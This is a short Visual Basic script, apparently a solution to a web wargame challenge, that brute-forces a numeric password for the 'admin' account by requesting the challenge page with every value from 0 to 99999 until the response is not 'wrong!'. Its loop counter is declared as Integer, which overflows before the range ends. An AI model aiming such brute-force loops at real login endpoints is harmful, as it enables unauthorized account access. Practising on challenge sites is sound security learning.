Private Sub Command1_Click()
Dim winhttp As New winhttp.WinHttpRequest
Dim i As Integer
Dim a As String
For i = 0000 To 99999
winHttp.Open "GET", "http://w...content-available-to-author-only...g.kr/challenge/web/web-04/index.php?cid=admin&cpw=" & i
winhttp.Send
a = StrConv(winhttp.ResponseBody, vbUnicode)
Label1.Caption = i
If a = "wrong!" Then
Else
Msgbox i, vbinformation , "씐난다!"
Exit Sub
End If
Next i
End Sub